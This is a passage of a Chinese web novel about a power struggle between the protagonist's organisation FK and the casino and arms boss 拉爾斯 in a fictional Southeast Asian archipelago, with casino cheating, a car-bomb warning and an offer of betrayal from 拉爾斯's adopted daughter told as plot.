A国离这较近,A语本就在当地较为普及。 不过能把它说的这么溜的想必也是有A国血统。 阿豪被拉下去的时候嘴里还在大声嚷嚷着:“王经理,你要救我啊,我是被陷害的!” “王经理,你不能这么对我!” “这些年你收了我多少钱?!你.......” 王经理看着骂骂咧咧,被拖下去的阿豪目眦欲裂,说话时唾沫横飞。 “闭嘴,你个出千的败类,还敢扰乱赌扬的秩序?!” 紧接着他又指着拖着阿豪的那个安保吼道:“还不拖下去,你干什么吃的?!” “把这个垃圾给我拖下去!” 安保不敢不听,只能使出更大的劲,把拼命挣扎的阿豪拉到后面去了。 王经理站在一楼大厅,看着四周杂乱的人群和淹没在人群中的安保,颇有些手足无措。 最后目光停在了依旧淡然坐在高背椅上的时清徵。 他现在要是再看不出来这个人是故意找茬的就真的是蠢蛋了。 可是这个人的手下又带着枪,说不定是个惹不起的大人物。 而且要是这个人死在这儿........ 一想到可能会被追责,王经理背后的汗毛就直接立起了。 他几乎是咬着后槽牙,硬生生挤出一个比哭还难看的笑容来。 尽量和缓语气:“这位先生,不知道你想怎么解决这件事呢?” 接着又很好商好量的说道:“这样吧,不如我们移步到三楼?我们去包厢里好好谈谈。” 时清徵终于抬眼看了王经理一眼:“.......” 王经理被这个眼神盯的心里直发毛,硬着头皮道:“这样吧,我把您的筹码三倍退还给您,可以吗?” “我们DM再给您升级会员,以后您只要想来就是我们的上宾。” 说着他就转头让身旁的人去准备。 他此刻也顾不上这么多了,只是希望这个煽风点火的瘟神赶紧离开。 凭借这么多年的从业直觉,他总感觉可能会出大事。 时清徵终于开口了:“钱,按规矩结就行。” “这是我们的心意,您一定要收下。” 然而时清徵依旧是一副不买账的样子,甚至还慢悠悠的掏出了手机。 王经理瞬间以为他要打电话了。 几乎是手比脑子快,一把上前去拉扯时清徵。 “我们这不允许......” “砰——” 话音未落就是一声枪响。 紧接着又是几声连续不断的枪响。 与此同时,人群中传出了巨大的尖叫声:“死人了!” 王经理顺着这个声音望过去,只见从大门外缓缓走进来了一队人。 为首的是一个看起来头发半白的老人,但精神头却很好,拄着龙头拐杖缓步走了进来。 身后跟着十几个身穿迷彩服的雇佣兵,各个手里持枪。 “老板,您来了。”王经理立马屁颠屁颠的迎了上去。 为首的那个老人就是拉尔斯。 拉尔斯只是斜睨了王经理一眼:“废物,这点小事都处理不好。” 王经理连额头上的汗都不敢擦,只能连连点头哈腰:“都是我做的不好,还得麻烦您亲自跑一趟。” 拉尔斯:“我可不是为了你来的。” 说完也没有管身旁有些懵逼的王经理,径直朝着时清徵走了过去。 他身后的那一批雇佣兵也很快把整个大门堵住,枪口对准那些赌客。 这些赌客哪里还敢再吱声,只能唯唯诺诺的耷拉着脑袋。 生怕下一个子弹打中了就是自己。 但是开门做生意,哪有赶客人的道理。 于是所有的赌客都被核善的安保和雇佣兵们拿枪请回牌桌上。 众人唯唯诺诺,哪里还有玩牌的兴趣。 被方才那情况一扰,这些人现在只想跑。 什么赌钱,什么输赢......老子特么都快没命了。 还赌呢?回家了,回家吧孩子。 众人悄咪咪的看了那群持枪的人一眼,蹑手蹑脚,三步的路硬生生的走了十步。 然后趁没人注意直接脚底抹油开溜了。 他们只是爱赌,不是没脑子,没良心,他们也不是蠢货! 不过是几分钟的功夫,一楼的客人就少了大半儿,原本金碧辉煌的DM此时空荡荡的。 但是也有少部分头铁的继续赌,用实际行动证明了什么叫不见棺材不落泪。 也不知道是在夸他们胆子大还是夸他们把脑子也赌出去了。 而另一边的拉尔斯正拄着那只起到装饰作用的拐杖,昂首阔步地来到了时清徵边上。 几年前他曾见过时清徵,自然是能认得的。 “埃特纳斯先生,真是好巧。” 第100章 拉尔斯 甚至连头都没有抬。 拉尔斯脸上刚刚挤出来的笑容散去了大半。 “埃特纳斯先生未免太不给我面子了。” 说着他拿拐杖点了点地,发出咚咚的声音。 视线同时也落到了时清徵手中握着的手机上。 只可惜时清徵的手机是防窥屏,他老眼昏花看不见。 依旧没人理他,拉尔斯也不生气,示意身后人把椅子搬过来。 然后坐了下去,也不说话。 气氛颇有些微妙。 时清徵自然知道拉尔斯来了,毕竟他闹这么一出就是为了把拉尔斯逼出来。 DM作为东南群岛最大的博彩产业之一,每年都会给拉尔斯带来不小的收益。 如果被搞没了,拉尔斯不知道会心疼成什么样子。 怕是脑袋上仅存的几根黑毛也要愁白了。 时清徵知道顾鸣鹤这几天忙,所以也没有给他发过几次信息。 最早的一次是昨天晚上,时清徵给顾鸣鹤发了一条晚安。 然而顾鸣鹤并没有回复,甚至到现在也没有个动静。 什么事能忙成这个样子? 时清徵想不到,盯着那个黑猫头像看了几秒,然后放下手机。 拉尔斯看看时清徵终于把视线从手机上挪开,立马见缝插针开始说道:“埃特纳斯先生,我不过是晚来了一会儿,你没必要发这么大的火气吧?” “拉尔斯先生觉得我生气了?” 时清徵似笑非笑的看着拉尔斯。 拉尔斯没说话,但他那个表情就很明显表达出了:难道不是吗? 不过拉尔斯对于时清徵的反问只是笑了笑。 “如此看来倒是我以小人之心度君子之腹了。” “不如这样,我请埃特纳斯先生上去喝一杯,聊表歉意。” 说了他就站起身,做出了请的手势。 时清徵身后的几个手下想跟上去,却被拉尔斯的人拦住了。 谁料拉尔斯回头,板了一张脸,对拦住时清徵手下的人说:“埃特纳斯先生是我的贵客,岂有拦住贵客手下的道理?还不让开。” 时清徵唇边一直是挂着淡淡的笑容,只是笑意未达眼底,显得有些薄凉。 他就静静看着这个老狐狸演戏。 如果真把他当贵客,怎么可能姗姗来迟? 拉尔斯丝毫没有心虚,反而显得彬彬有礼:“请。” 虽然礼仪做的很足,但眼底却带着些轻慢。 时清徵并没有计较这些,而是迈步往前走去。 一行人到了私人包间外,时清徵的手下再次被拦了下来。 这一次拉尔斯并没有阻拦,而是一脸为难的对时清徵道:“埃特纳斯先生,我这私人包厢不轻易进人,希望理解,不过您要是实在害怕,我也不是不能破例一次。” 有先前拉尔斯卖的那一个面子,正常人肯定都会理解他这一次的举动。 换个正常人应该就点头表示理解。 但是...... “那就多谢拉尔斯先生破例了。”时清徵笑着颔首,一副软绵绵的态度。 拉尔斯:....... 他的笑容有些凝固,抽了抽嘴角,转身进了包间。 话他都已经放出去了,自然不可能再收回来。 于是时清徵一行人都进了这个包间。 不愧是拉尔斯的私人包间,里面的走廊七拐八拐,有多个空间,大的能走迷宫了。 如果真的有杀手来这里刺杀拉尔斯,怕是还没有找到人,就先在里面迷路了。 最后两人进了一个房间的沙发上坐下。 很快就有侍者端着酒水上来,紧接而来的是一个服务员。 拉尔斯从她端来的盘子中挑了一根雪茄,指了指,示意要那一根。 下一秒,那个侍茄师就半跪着,亲口试了试吸阻,然后抬头柔声说着什么。 只见拉尔斯微微笑着颔首,那个侍茄师亲手为拉尔斯点燃雪茄,一只手还放下拉尔斯的腿上。 拉尔斯低头叼住了那根递上来的雪茄,然后伸出左手捏着它。 右手则是放在了侍茄师的身上来回游走。 虽然说是侍茄师,但这里毕竟是东南群岛,所以懂得都懂。 时清徵不想看老头和美女的亲亲我我,于是移开了视线,示意一旁的人倒酒。 不愧是拉尔斯,果然够豪气,这里的酒都不是凡品。 即使是像时清徵这样不懂得欣赏酒的人也能品出来这酒的确不错。 倒不是有多好喝,只是一喝起来就能感觉到它很贵。 老头在那边腻腻歪歪,故意恶心时清徵。 时清徵则是十分淡定的坐在原位,目光不经意扫过那边时还冲着拉尔斯笑了下。 然后回头对几个跟进来的手下吩咐着什么。 拉尔斯自然不可能真的是色心大起,他只是单纯地想让时清徵难堪罢了。 “埃特纳斯先生要不要也来一根?” 拉尔斯缓缓吐出了一口烟,烟气缭绕,让他的面孔都显得朦胧了。 一口飘飘欲仙。 时清徵:“不了,身体不行。” 拉尔斯刚吐了一口烟,问言瞬间来了兴致:“哦?埃特纳斯先生年纪轻轻怎么会身体不行呢?” 说这话时身子还微微前倾,像是十分感兴趣的样子。 时清徵像是被戳到了什么心事,摇头叹气道:“正是因为年纪轻,所以才为以后考虑。” “现在抽多了,太狠了,以后怕是......唉。” 时清徵这句话说的很巧妙,看似是自省,实则是在嘲讽。 他这么年轻,而且还不吸烟,怎么会担心身体的问题呢? 那既不年轻又吸烟,该担心身体的问题的是谁呢? 拉尔斯干笑一声,险些把嘴里的那口烟给咽了下去。 但时清徵显然没有打算就此止住,反而像是来了兴致继续往下说。 “说起来我们FK之前还投过一个挺有意思的项目,深耕医学统计领域的。” 说到这儿,时清徵的视线从那一团烟雾上慢慢挪开,唇边勾起笑来。 “拉尔斯先生,您不涉及这些前沿领域自然是不太清楚里面的门道。” “您是没看到项目负责人统计出来的一份资料,关于特定人群长期不健康行为的脏器微观影像对比。” “啧,我那天看完简直是头皮发麻,连续几天都没睡踏实。” 第101章 有本事,杀了我 连手中夹着的雪茄都不自觉的抖了抖。 他当然不至于被时清徵这番话吓到,只是在抽烟的时候听到这种话心里多少有些憋屈。 “哈哈,埃特纳斯先生还真是涉猎广泛啊。” 拉尔斯尴尬地笑了笑,但笑容多少有些勉强了。 时清徵随意晃了晃手中的酒杯,酒水在杯中摇曳,在杯壁上生出一层层浪来。 “不及拉尔斯先生.....业务面宽。” 这句话说的意味深长,拉尔斯自然听懂了时清徵的言外之意。 不就是在讽刺自己抢了他们FK的生意吗? 生意跟谁做不是做呢,能者居之。 “哈哈,人老了也没什么野心,不过该挣的钱还是得挣啊,谁能跟钱过不去呢?” 紧接着他又打出了一张同情牌,带着些倚老卖老的姿态。 “未来是你们年轻人的,何必跟我这个半截身子入土的老头子过不去呢?” 时清徵手中酒杯里的酒还剩下一些,不过他并没有喝完,而是放回桌上。 “拉尔斯先生过谦了,你怎么是半截身子入土?您是老当益壮,胃口相当好。” “只是再好的胃口也要考虑,抢来的东西能不能吞得下。” 时清徵笑着,视线意有所指地看着拉尔斯手中还燃着的雪茄。 “哈哈,埃特纳斯先生这样可就说笑了。” 拉尔斯如今也没了继续抽雪茄的念头,直接伸手把它按进了烟灰缸中。 随后挥手让其他多余的人退了下去。 说是退,其实不过也只是离开了两个人的视线范围内。 “埃特纳斯先生有话不妨直说,大家都是聪明人,何必遮遮掩掩呢?” 拉尔斯的面容已经褪去了先前的和蔼,眼中的锐利一闪而过。 “拉尔斯先生过誉了,我可算不上聪明人,您看,我那生意不就被你给抢了吗?” 拉尔斯:“埃特纳斯先生哪里话,我也不过是赚点小钱,你们FK生意做这么大,还在乎这点钱啊?” “您何必谦虚呢,这话应该是我对您说才是啊。”时清徵客套道。 两个人就坐在这里,嘴上打太极,时不时阴阳对方两句。 偏偏又是两个沉得住气且会装的,不知道的还以为他们是在剧组拍戏呢。 没有人先放狠话,毕竟大家都是体面人,当然要做体面事儿了。 不然成天舞刀弄枪的,成何体统啊? 最终拉尔斯挂不住笑,率先扯开了话题:“听说埃特纳斯先生在楼下连赢数局,真是实力不减当年啊。” “当年?不知道的还以为我和您一样七老八十了。”时清徵哼笑一声。 拉尔斯:....... 他最烦别人说自己老了,哪个有钱人不希望自己永远十八呢? 偏偏眼前这个人老是把他的岁数拿来来回鞭尸,一直强调自己八十,八十! 自己今年明明刚七十三,四舍五入也进不到八十去。 可拉尔斯也不敢轻举妄动,毕竟自己现在还有把柄在他的手里。 DM赌扬出千这件事说大不大,说小也不小。 如果眼前这个人在后面推波助澜,自己这个赌扬指定开不下去了。 作为东南群岛最大的赌扬之一,可以称得上是日进斗金,拉尔斯是真的舍不得。 他眼珠子一转,慢悠悠的套话道:“不过嘛,埃特纳斯先生,你最后一局赢得可算是神来之笔,对方手脚都那么不干净了你还能稳稳吃下。 你这赌术上的功夫几年不见,非但没有生疏,反而......愈发让人捉摸不透了。” 这话说的自然是别有用意,看似是在恭维,实则试探。 在对方出千的情况下,你是怎么赢的呢?除非你的手脚也不干净。 闻言,时清徵非但没有感觉被冒犯,反而格外煞有其事地点头,一脸认同。 “对啊,拉尔斯先生,这您可就说到点子上了,您真就得反省一下自己了。” 拉尔斯:?? 他的眼中闪过了错愕,显然是没有跟上时清徵的脑回路。 又关我的事? 时清徵面不改色地说道:“那个人好歹是你赌扬请来的,怎么赌术这么差劲?连出千都能被看出来。” “拉尔斯先生下次再挑选员工可要擦亮眼睛,不然小心惹祸上身。” 最后四个字时清徵特意加重了语气,身子还微微向拉尔斯那边倾了倾。 看着时清徵那一副推心置腹的模样,拉尔斯只觉得心中又憋着一口气。 不上不下,闷的厉害。 可能真的是自己老了吧? “祸事?什么祸事能在我这也只会变成好事。”拉尔斯说这句话的时候显得格外自信。 时清徵浮在表面上的笑容慢慢消散,他没有着急回答,而是随意的往后面一靠。 一只手搭在了沙发背上,手指轻敲了两下。 “不要太自信了,小心和先前一样.....栽个大跟头。” 说到这,时清徵像是回想起什么好笑的事来,忍不住勾唇。 “到时候可就贻笑大方了。” “你......!埃特纳斯先生未免太过嚣张,你也许是太久没理事了,不如看看如今的东南群岛。” “形势变了,这里也不是你们FK的一言堂。” 时清徵认同地点头:“所以拉尔斯先生这是不愿意把我们FK的生意还回来了?” “各拼本事,哪有什么还不还的。” “有道理,那就......各凭本事。” 时清徵也不想再继续交谈下去了,他已经看出来了。 这个老东西脑子已经拎不清了,他哪来的自信?就凭他那二手或者三手的军火? 看时清徵要走,拉尔斯开口:“站住。” 双方手下蠢蠢欲动。 反观当事人却格外淡定。 时清徵扭过头,态度依旧温和:“拉尔斯先生这是回心转意了?” 拉尔斯:“埃特纳斯先生,我知道你在盟洲那边有一个医学研究所.......” 他的眼中带着试探和威胁。 时清徵丝毫不慌,反而笑意更深了:“是啊,这不是和您一样贪生怕死吗,不过.......” “我觉得你更需要它,如果你愿意,我可以让你参股。” 拉尔斯:....... 时清徵转身就走,快要离开拉尔斯视线的时候顿了下脚步。 没回头,像是好心提醒:“拉尔斯先生,放狠话没意思,有本事,杀了我。” 撂下这句话,时清徵一行人就离开了。 第102章 Sam 他单手插兜,摸到了裤袋中纸牌的边缘。 那是他跟阿豪最后一局时从牌桌上换下来的,不然那局他就输了。 对方出千了,他学样,这才公平啊。 各凭本事罢了,对方技不如人,活该。 时清徵侧头对身旁的手下吩咐道:“给他个教训。” 手下:“是。” 当天下午,DM就被当地警署查封。 拉尔斯坐车离开DM时,前后的那两辆车都发生了爆炸,坐在里面的司机和保镖当扬身亡。 拉尔斯的专车被夹在中间,被炸弹波及,前面的挡风玻璃都裂开了。 司机紧握方向盘的手都有些发抖:“先生,我,我们.......” 拉尔斯眯眼看着前面裂成蛛网的挡风玻璃,恨得牙痒痒。 不用想就知道是那个埃特纳斯做的,年纪轻轻,就如此狠毒。 他知道这是时清徵给他的警告,不过那又如何。 他敢杀了他吗?他能杀了他吗? “回去。”拉尔斯冷声对司机吩咐道。 ———— FK东南区基地。 说是基地,其实更像是产业园区,不过他们不搞电信诈骗那玩意。 那东西太低端,也就拉尔斯那贪得无厌的老东西看得上。 基地内,时清徵看着从芯片中提取出来的研究资料,眼神微眯。 他识字,不过他看不懂....... 专业的事当然还是得交给专业的人处理,时清徵没打算为难自己。 “把这些数据发到史密斯那里。” 工作人员:“好的。” 史密斯就是这个研究所的所长,也是神经毒素研究项目的总负责人。 没过多久,史密斯的消息就在时清徵的手机屏幕上弹了出来。 【史密斯:埃特纳斯先生,最新迭代的抑制剂已由专机运抵东南群岛。随行研究员将全程指导您使用。】 紧随其后的是一长串的注意事项。 核心信息很明确:药剂升级了。 单次注射,能将那蛰伏于神经深处的毒素压制半年之久,代价仅仅是注射药物前后几天禁绝酒精。 在时清徵眼中,这几乎算得上没有副作用。 【史密斯:您提供的实验记录已收到。虽然残缺,但价值巨大。我们有信心在三年内,为您定制出彻底清除毒素的方案。】 三年。 时清徵盯着这个词,指节收紧。 他想到了几天前那次发病,那种无力且濒临死亡的感觉,他不想再体验第二次。 如今一回想起来连骨髓似乎都在疼痛。 他此时不愿浪费时间去回复文字。指尖一动,电话已拨了过去。 铃响不过半声就被接通,史密斯的声音带着一丝紧绷:“埃特纳斯先生。” 时清徵的声音透过听筒传来,低沉平稳:“三年太长。” 没有寒暄,没有余地。 “三个月内,我会把缺失的资料进一步补全。” 他顿了顿:“一年内,我要看到完整的方案落地。” “其他项目,优先级下调。资金和人手,有任何缺口直接提。钱不是问题,人也不是问题。” 听筒那端沉默了一瞬,史密斯显然在消化这近乎不可能的要求所带来的压力。“.......好的。” 这些年研究所一直在做逆向工程,花费了大量精力试图去拼凑出毒素的全貌和机制。 他们进行了大量的试错,投入的金钱和资源数不胜数。 但更多的时候却是在走错误的路。 如今有了一份线索和起点,至少他们可以通过现有线索进行推断假设,而非无知地摸索了。 时清徵很长时间没有回来,基地有许多事情还需要他亲自过目。 只是他没想到能在这里碰到Sam。 一出门他就看到了Sam站在一棵大树下,在那里鼓捣他的头发。 “你不是去找人了吗,怎么在这?” Sam一眼看去就是个混血,发色偏棕色,一双翠眸,但五官又偏向东洲人的柔和。 “找到了呗,所以回来了。”Sam把眼前的那一缕碎发给撇到一边。 然后烦躁的啧了一下。 时清徵:“找到了,人呢?东西呢?” “找是找到了,但是问题就在于有点抓不回来啊。” Sam一脸苦恼,冲着时清徵大倒苦水:“你是不知道,你猜猜他们躲在哪儿?” 时清徵面无表情:“哪里?” 他还不信那群人能躲到天上去,这都抓不回来? 他心里更相信Sam在偷懒。 Sam苦着一张脸,崩溃的说:“地底下,他们躲到地底下去了!” “就北边有一个矿洞,之前好像是挖翡翠的,挺大的。” “那些洞在地下四通八达的,入口都数不出有几个了,那群人就直接躲到这个矿洞里。” “我带着人从东部进,他们就从西部出来,我带的人把这两个洞口都堵住了,他们又不知道从哪里窜出去!” 时清徵这下听明白了,他嘴角抽了抽。 难怪这群那么难抓,原来是躲地下去了,感情他们还有当地鼠的天赋。 “你不会多带点人吗?” Sam一拍手:“我这不就回来找人了吗?老大,你可得给我派百八十个人啊,不然他们满地窜。” 他这一拍手,把原先撸到旁边的那个毛又震了回来。 于是又忍不住抬手把眼前那根碍事的毛捋到另一边,但下一秒一阵风吹来又把毛吹了回去。 “艹!” Sam烦躁地拉住自己的毛,恨不得拿剪刀把它剪掉。 本来抓不到人就烦,你还敢惹我?! 今天不给你点颜色瞧瞧,你都不知道谁才是身体的主人。 时清徵看着他这一副自己快把自己给气死的模样,有些无语。 果然打游戏使人暴躁。 这位更是专业的。 “行了,趁早调人过去,别让人跑了。” “那跑不了,外面全是我们的人,他们还能上天不成?机扬有我们的人,想跑,做梦!” 时清徵:“别贫嘴,趁早去,人跑了扣你奖金。” Sam听到这话也不去管自己的头发了,他一脸震惊的抬头,那双翠绿色的眸子就直勾勾的盯着时清徵。 “你三十七度的唇怎么可以说出如此冰凉的话?我现在最差钱了....呜呜呜呜。” “老大,我们战队都快解散了,现在全战队上下全靠我的钱撑着,我的钱包都扁了。” “你还扣我奖金,你不是人,你没良心,你跟昏鸦学坏了,也会用奖金威胁人了。” 第103章 阿南 Sam:“嘤嘤嘤~” 时清徵皮笑肉不笑:“你干脆不要混电竞圈了,去娱乐圈吧,你这演技不去那里可惜了。” “真的吗老大,我也觉得我颜值举世无双,简直能迷倒万千少女,不去拍偶像剧都浪费了我这张脸。” “你这厚脸皮也遭得住黑粉骂,快去,别磨蹭。” Sam伸出一根手指对他摆了摆:“啧啧,老大,你现在越来越有资本家那味儿了。” “你要是把人放走了,我就让你看看什么叫真正的资本家。” Sam:!!! “老大再见!” 时清徵看着人一溜烟消失的背影也没多说什么。 本来上班就烦,现在更烦了。 ———— 拉尔斯回到住所后,才得知DM赌扬被查封的消息。 据说是他前脚刚离开DM,几分钟后警署就带人把DM给围了。 “........拉尔斯先生,不是我不愿意撤人,而是上面吩咐了,我也不好抗命,要不您再联系联系上面试试?” “.......对对对,这件事儿本来就不是小事儿,对啊,哎,那多谢您的体谅了。” 拉尔斯冷声说了一句:“好。” 随即面色阴沉的挂掉了电话。 不用想就知道是FK那边在给官方施压,不然官方不可能不松口。 现在官方的态度就是:你们两家斗,我管不着,除非你们给我钱,很多很多钱。 可是拉尔斯前些日子从赤洲还有碎洲那边进了一批军火,哪有闲钱去贿赂这群官方? 上次给的还不够多吗?一群贪得无厌的家伙。 偏偏祸不单行,几分钟后又有一通电话打了过来。 拉尔斯看了眼来电显示,强压下心中的怒气,开口道:“什么事?” 对方说了什么,拉尔斯的表情变了又变,简直比调色盘还精彩。 “被炸了?什么时候,谁做的?” 电话对面那人咽了口唾沫,小心翼翼道:“昨天晚上,对方做的很谨慎,没有留下痕迹,我们的人还在调查。” “昨天晚上的事你们现在才回禀给我?都是吃干饭的吗,有这功夫凶手早就跑了。” 打电话的人似乎也觉得羞愧,一句话都不敢多说。 拉尔斯见到这群没用的废物就来气:“现在工厂里还有剩下的货吗,清点一下,另外那几个需求商那边先拖一拖,我们延迟交货,从其他地方抽调一些货过来。” 打电话那人半晌没敢说话,最后还是硬着头皮道:“其他地方的货昨天晚上就运到港口了,但是被FK的人压在码头了,调不出来。” 拉尔斯:....... “那就先让客户那边不要急,去上面疏通一下关系,让官方出面把我们的货给放了。” “是,我这就去。” 电话挂断后,拉尔斯的气再也憋不住,将电话狠狠往桌子上一放,发出巨大的声响。 电话在桌面上弹了两下,滚落到了地上。 恰好在此时,门被敲响了。 “阿爸?我可以进来吗?” 拉尔斯往椅子里一坐,收了收脸上的表情,沉声道:“进。” 来人是一个年轻女子,看起来也才二十几岁的样子,却留着利落的寸头,看起来格外英气。 皮肤呈现出健康的小麦色,手臂上肌肉线条流畅,力量感十足。 “阿南,你怎么回来了?” 那个叫阿南的是拉尔斯的干女儿,手段狠辣,做事果决,一点都不输给他。 反倒是他自己的那些亲生血脉,一个个二世祖,只知道吃喝玩乐和胡作非为,根本担不起大任。 “明阳的那条线跑完了,所以就回来了。” “哦,这么快,没被人盯上?” 阿南听到这话先是犹豫了一下,然后承认道:“被盯上了,不过我已经解决了,阿爸不用担心。” 拉尔斯把这个干女儿上上下下打量了一番,然后点头:“干得不错,还是你最让我省心,要是我那几个废物儿子有你一半的能力就好了。” “阿爸过奖,这都是我的分内之事。” 阿南面不改色,走上前弯腰把掉在地上的电话筒捡起,直起身时眉头不经意蹙了一下。 手很自然的就搭在了腰腹部的位置,轻轻按了一下。 “怎么了?” 这个小动作自然瞒不过拉尔斯的眼睛,他立马关切地问道。 阿南把电话筒放回到了桌面上,嘴角带着极淡的弧度:“女儿没事,只是受了点伤?” “受伤?看过医生了没有?” “看过了,没什么事。” 拉尔斯这才放下心:“没事就好。” “不知道阿爸刚才为什么发那么大的火,可是FK那边又找事了?” FK那边跟拉尔斯过不去已经不是一天两天了。 虽然拉尔斯有很多仇人,但FK绝对是排的上前几的,非常擅长找事。 见缝插针给拉尔斯找不痛快,偏偏又是背后使坏,让人抓不住把柄。 拉尔斯如果有一天莫名其妙死了,一定是被FK给气死了。 “哼,一群臭虫。” 阿南走过去,弯腰给拉尔斯手边的茶杯里添了一些水,然后亲手递到拉尔斯面前。 “阿爸消消气,也许女儿可以为你分忧。” 拉尔斯斜眼睨了他一眼,慢悠悠的端过茶盏,轻轻吹了一口气。 “其实也不是什么大事,这种官方的事你也不方便出面。” 阿南抿唇后退半步:“女儿明白。” 拉尔斯不紧不慢的喝了口茶,然后缓缓吐出一口气,将茶杯放回到了桌面上。 “既然受伤了,那就回去好好养着,免得落下什么病根。” “女儿的伤没什么事,已经处理过了。” “嗯.....正好你也回来了,我们在西部奥克镇附近的一个工厂被炸了,你去查一下凶手。” “工厂?陈九负责的那一个?” “对。” “好,女儿明白。” 阿南退出房间后正好碰到了拉尔斯的副手。 副手朝阿南点了点头:“阿南小姐。” “米尔,你来找阿爸汇报工作?” 米尔点头:“是的,我们在北部的翡翠矿里.......” “米尔。”拉尔斯在屋内开口。 这一开口就打断了米尔下面的话。 “先生。” 米尔也听出了拉尔斯口中的警告意味,立马失去闭嘴,然后冲阿南微微颔首,随后就走了进去。 顺手关上了门。 阿南静静的看着被关上的门几秒,就转身离开了。 第104章 阿南小姐知道自己在说什么吗? 拉尔斯并未抬眼,指尖无声地压在茶杯壁上。 “以后”,他开口,声音不高,却带着冷硬,“不该说的话,一个字也别吐。” 米尔喉结滚动了一下:“.....是。” 短暂的沉默后,米尔带着一丝困惑,试探地问:“先生......是觉得阿南小姐她......不妥?” 拉尔斯指尖轻轻一叩杯壁,发出一声脆响。 “不妥?”他鼻腔里哼出一声短促的冷笑,“她在我身边这些年,若真有异心,我能看不出来?” “那先生为何.......”米尔斟酌着词句,“事事都......瞒着阿南小姐?她能力出众,若能为您分忧,先生也不必如此.......” 拉尔斯嘴角勾起一抹近乎讥诮的弧度,打断了他:“能力?呵。我的半生基业,难道要交托给一个.......” 他顿了顿,目光终于从茶杯上抬起,冰冷地扫过米尔,“......毫无血缘的外人?还是个女人。” 米尔怔愣了一下,然后应道:“先生说的是。” “你来有什么事要汇报?” 米尔这才提起正事:“我们的那个翡翠矿已经停工很久了,是否要现在开工,有几家工厂现在缺原料。” 拉尔斯摸了摸自己手指上的金戒指,慢悠悠开口:“先不急,最近不太安稳。” “好的,不过那几家工厂怕是也要停工一阵了。” “不是什么大事,现在首要的问题是先搞定总署督办那边。” 米尔点头,然后继续补充道: “还有一件事,是幽灵组织那边的.......” 他这么说着,下意识看了一眼拉尔斯的神色,见他没有表情,才继续道: “幽灵组织那边要求我们一个月提供万岁的线索,这已经是他们催的第五次了。” “线索?线索就是没有线索。” 拉尔斯冷笑一声。 自从万岁逃到东南群岛的消息传出来之后,幽灵组织那边就不断派杀手到这里。 简直是疯了? 万岁能在道上声名远播这么多年,怎么可能轻易被抓到? 到现在也没有几个人真正知道他的底细。 自己甚至连他长什么样都不知道,还找人人?! 幽灵组织来他这许愿了是吗? “告诉幽灵组织的人,我是他的合作对象,不是他们的下属,如果再让我看到他们的人来我们这惹事,我绝不轻饶。” “......是,我这就转告他们。” 拉尔斯眸色一沉:“不用了,等会儿我亲自说。” “另外你去让阿努索给我滚过来,我带他去见总署督办。” 阿努索,拉尔斯的六儿子,是他第一个老婆的老来子。 拉尔斯先前并不是东南群岛的原住民,是逃难过来的,他的妻子跟他从中东一路逃到了东南群岛。 他的原配跟着他吃了不少苦,在逃亡的路上流产了,至此身体就坏了。 拉尔斯来到东南群岛稳定了势力后又娶了好几个老婆,因为他不可能没有继承人,而且一夫多妻在这是合法的。 不知道拉尔斯的原配是怎么想的,四十几岁那年给拉尔斯生下了阿努索后撒手人寰了。 对这个大老婆,拉尔斯曾有过爱情,但后来更多的是亲情和感激,所以对这个儿子也偏心地很。 ———— “被炸了?”时清徵听到拉尔斯手下工厂被炸的消息瞬间笑了出来。 这是坏事做多遭报应了。 “是的,听说他们在找凶手。” 时清徵点头:“是该找找,毕竟像这种好人不多见了。” “等拉尔斯找到凶手后,我们给凶手送个锦旗过去。” 手下:“.......嗯,老大........” 看那人一副磨磨蹭蹭,欲言又止的模样,时清徵微微扬眉:“直说。” “就是......阿南来了。” 时清徵:“阿南?谁啊?” “拉尔斯的干女儿,这几年一直在为拉尔斯做事。” 时清徵忽然反应了过来,表情瞬间变得莫名:“那老东西不会是觉得工厂是我们炸的吧?” 手下:“......可能,是的。” 如果他是拉尔斯,他第一个就怀疑FK。 时清徵:“.......” 他们这是背黑锅了? 时清徵被气笑了:“阿南是吧?她现在在哪?” “现在会客厅等着。” “我去瞧瞧。” 说着就抬脚往会客厅走去。 会客厅内,阿南坐在沙发上,一只手很随性地搭在膝盖上,整个人透露出一股野性和肆意来。 时清徵走进门,就对上那双带着攻击性的眸子,眼神凌厉。 给人的感觉像是一只狼,还是一只荒野的孤狼。 阿南见有人进来,却发现是个年轻男人,目光下意识往时清徵身后看去。 “阿南小姐,久仰。” 时清徵笑着朝她伸出手。 阿南立即反应过来,眼前这个年轻男人就是阿爹口中的埃特纳斯。 FK在东南群岛的总负责人,居然这么年轻。 她眼中的惊诧只是闪过一瞬,就很好的压了下去。 随即伸出手,跟时清徵虚握了一下。 “埃特纳斯先生,你好。” 时清徵看着眼前女人,心中暗自感叹了句。 眼前这女人目测只比他矮一点,身高怕是已经超一米八了,比他见过的绝大多数女性都要高。 想他上一次见那么高的女人还是那个一米九的傻大个......咳咳咳。 时清徵侧身,做了个请的手势。 “阿南小姐此番前来不知道有什么事?” 阿南丝毫不拐弯抹角:“我想与您合作。” 时清徵:“哦,合作?” 时清徵十指相抵,撑在身前:“阿南小姐何出此言,不知道拉尔斯先生知不知道这件事?” “既然是我与埃特纳斯先生合作,自然与我阿爸无关。” 时清徵对这个叫阿南的女人了解很少,但从刚才在来会客厅的路上,手下简单向时清徵介绍了一下阿南。 简单概括:狠人。 拉尔斯有收养子女的习惯,并且定期向孤儿院捐款。 但能从众多养子养女中杀出来并且掌握实权的就阿南一个。 并且拉尔斯对这个干女儿比对自己的一些亲儿子都要好,甚至将一些靠近核心的工作交给她。 这“狠人”的含金量可想而知了。 这可不是有武力就能做到的,至少证明这个女人很聪明。 “阿南小姐想怎么合作?” 阿南的视线在时清徵脸上顿了一下:“阿爸与官方的军火交易动了FK的蛋糕吧?我可以让这个合作暂停。” “暂停?” 时清徵轻笑了一下:“阿南小姐知道自己在说什么吗?” 第105章 老大万岁 时清徵眼中闪过一丝探究,双腿随意地交叠着: “至少在我心里,阿南小姐似乎并没有足够的筹码来跟我谈合作。” “当然,埃特纳斯先生不信任我,不过我可以理解。” 阿南弯腰,将一份资料递到了时清徵面前:“这是我的诚意,如果可以合作,埃特纳斯先生可以得到的更多。” 时清徵翻开资料,上面记录了几条拉尔斯手下的重要运输通道,以及他们在官方的人员名单。 这些是时清徵不知道的。 这份资料如果是真的,那么落到竞争对手的手中,结果可想而知。 只要稍加利用,拉尔斯集团会受到重创。 “阿南小姐真是诚意满满,居然这么舍得下血本,甚至不惜.....坑害自己的父亲。” 时清徵轻笑着盖上资料,将它放到一旁。 抬眸看向阿南时,眼中多了份认真和审视。 